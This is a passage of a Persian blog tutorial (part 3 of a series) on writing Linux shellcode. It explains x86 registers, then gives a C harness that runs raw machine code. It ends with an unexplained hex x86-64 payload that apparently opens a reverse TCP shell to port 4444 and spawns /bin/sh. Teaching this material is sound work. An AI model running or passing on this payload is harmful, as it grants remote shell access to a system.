به نام دانای بر حق
پیرو آموزش های بخش اول و دوم shell code نویسی در لینوکس یه خرده از بحث مبتدی خارج شده و کمی تولید علم در زبان پارسی در این مورد می کنیم نظر به این نکته که شل کد ها معمولا کد ماشین هستند ما کمی از مباحث پایه خارج میشویم و در این مورد بیشتر بحث می کنیم ، البته اگر خسته نشید : )
کمی در مورد ساختار سخت افزار ، زبان ماشین و اسمبلی
ابتدا من از سخت افزار و ساختار cpu به طور مختصر و مفید بگم،هم ما فک میکنیم CPU زبون نفهم هست هم CPU بلا نسبت شخص شخیص شما همچین فکری میکنه 😀 به تصویر زیر توجه کنید:
خب این رابطه معادله مثل ترازو هست مشخص هستش که هر چی بیشتر زبان برای ما خوش آیند تر میشه برای پردازنده نا خوشایند میشود و همین نسبت عکسش هم برقرار هستش خب بهترین حالت شلکد نوشته شدن در پایین ترین قسمت تصویر بالا هستش و حالا یه خرده بیشتر در مورد CPU یا همون پردازنده صحبت کنیم تا برسیم به اصل داستان:
درباره پردازنده و ثبات ها
موضوعی رو که الان دارم بیان می کنم شاید خودم تو ۱۰۰ تا مقاله خونده باشم، تو ۱۰ تای اول فحش دادم سرسری رد شدم گفتم شما هم گریه ما رو در آوردید اینقدر گفتید این موضوع رو و میگفتم اگر خودم یه روزی کتابی مقاله ای بنویسم اینو نمیگم ولی اینقدر اهمیتش زیاده کهع من هم مجبور هم بگم ولی به زبان ساده کاربردی میگم از نظر آکادمیک ثبات ها یا همون ریجستر ها به دو قسمت تقسیم میشم ولی من دو دسته اش میکنم: ( x86 – 32bit)
- کاربردی اونایی که دسترسی مستقیم برنامه نویس داره: EAX, EBX, ECX, EDX, ESI, EDI
- غیر کاربردی اونایی که خوده پزدازنده بهش دسترسی داره شما فقط در دیباگر میتونین تماشاش کنید: ESP, EIP, EBP , …
خب ببنید هر کدوم این رجیستر های بخش دوم رو که نمیتونید هیچ کاری کنید ولی بخش اول رو هر جا دوست داشته باشید میتونید استفاده کنید ولی یه استاندارد براش در نظر گرفته شده که ازش تبعیت کنید بهتر هستش، اگر این استاندارد ها رو خوب بلد باشید تو یه کد دیس اسبمل شده که با شما حرف میزنه و کاملا میتونید تحلیلش کنید کاربردهاشون :
EAX | Accumulator Register | همه منظوره ترین ثبات است و معمولا برای هر کاری از جمله عملیات ورودی/خروجی،رشته ای و محاسباتی به کار می رود از ۳ جزء AX, AH, AL تشکیل شده است که بیشتر توضیح میدم |
EBX | Base Register | تنها ثباتی که می تواند بعنوان ایندکس در آدرس دهی مورد استفاده قرار می گیرد. شامل ۳ قسمتBX BL و BH است |
ECX | Count Register | بعنوان شمارنده در کنترل تعداد دفعات تکرار در دستور حلقه استفاده می شود. دارای ۳ قسمتCX CL و CH است |
EDX | Data Register | در اعمال ورودی/خروجی و عملیات ضرب و تقسیم استفاده می شود. دارای ۳ بخشDX DL و DH است |
و ثابت های ایندکس:
ESI | Source Index | برای آدرس دهی و در عملیات رشته ای بعنوان مبدا استفاه می شود |
EDI | Destination Index | برای آدرس دهی و در عملیات رشته ای بعنوان مقصد استفاه می شود |
خب برای این تقسیم بندی ها به شکل زیر توجه کنید:
حالا توضیح مختصر ثبات ۳۲ بیت جا داره و کل ۳۲ بیت میشه EAX مثلا و ۱۶ بیت سمت راست میشه AX مثلا و ۸ بیت راست میشه AL و ۸بیت سمت چپ همین AL میشه AH به تصویر زیر دقت کنید:
الان این مقادیر کاملا براتون جا افتادش، اگه نه اینقدر بخونین تا متوجه شید چون اینا رو متوجه نشده خوندن ادامه این مقاله فایده ای نداره.
نوشتن شل کد در بخش نهایی
خب پس ما باید شلکد رو باید به زبان ماشین بنویسم طبق آنچه در بالا به رنگ بنفش نوشتیم، مراجعه کنیم به این قسمت خب ما فرض رو میگیریم کد ماشین تولید شده میخوایم اون رو کد نویسی کنیم نیاز مند به gcc دارم حتما روی لینوکس شما هست نگردید دنبالش:
/*shellprogram.c * / char code[] = "Insert your shellcode here"; int main(int argc, char **argv) //execution begins here { int (*exeshell)(); //exeshell is a function pointer exeshell = (int (*)()) code; //exeshell points to our shellcode (int)(*exeshell)(); //execute as function code[] }
شل کد شما مثلا یک کد hex این شکلی هستش:
\x48\x31\xc0\x48\x31\xf6\x48\xf7\xe6\x6a\x02\x5f\xff\xc6\x6a\x29\x58\x0f\x05\x48\x97\x48\x31\xc0\x50\xbb\x80\xff\xff\xfe\xf7\xd3\x89\x5c\x24\xfc\x48\x83\xec\x04\x4d\x31\xc9\x66\x68\x11\x5c\x66\x6a\x02\x54\x5e\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\x54\x5e\x48\x31\xc0\x0f\x05\x68\x68\x61\x63\x6b\x58\x48\x8d\x3e\xaf\x31\xf6\x4d\x31\xff\x66\x41\xbf\x1f\x16\x66\x41\x81\xef\x10\x11\x41\x57\x49\x89\xe7\x48\xbf\xd0\x9d\x96\x91\xd0\x8c\x97\xff\x48\xff\xc7\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x41\xff\xd7
که در کد بالا باید جای Insert your shellcode here قرار دهید پس بعد طبق آموزش ۱ همین بخش کامپایل و اجرا کنیم.
این قسمت برای این که طولانی شد بقیه ماجرا که میشه کد نویسی و بهینه سازی یک شل کده فوق العاده ساده رو با هم پیش میریم پس در آموزش بخش ۴ منتظرتون هستیم.
دیدگاهتان را بنویسید لغو پاسخ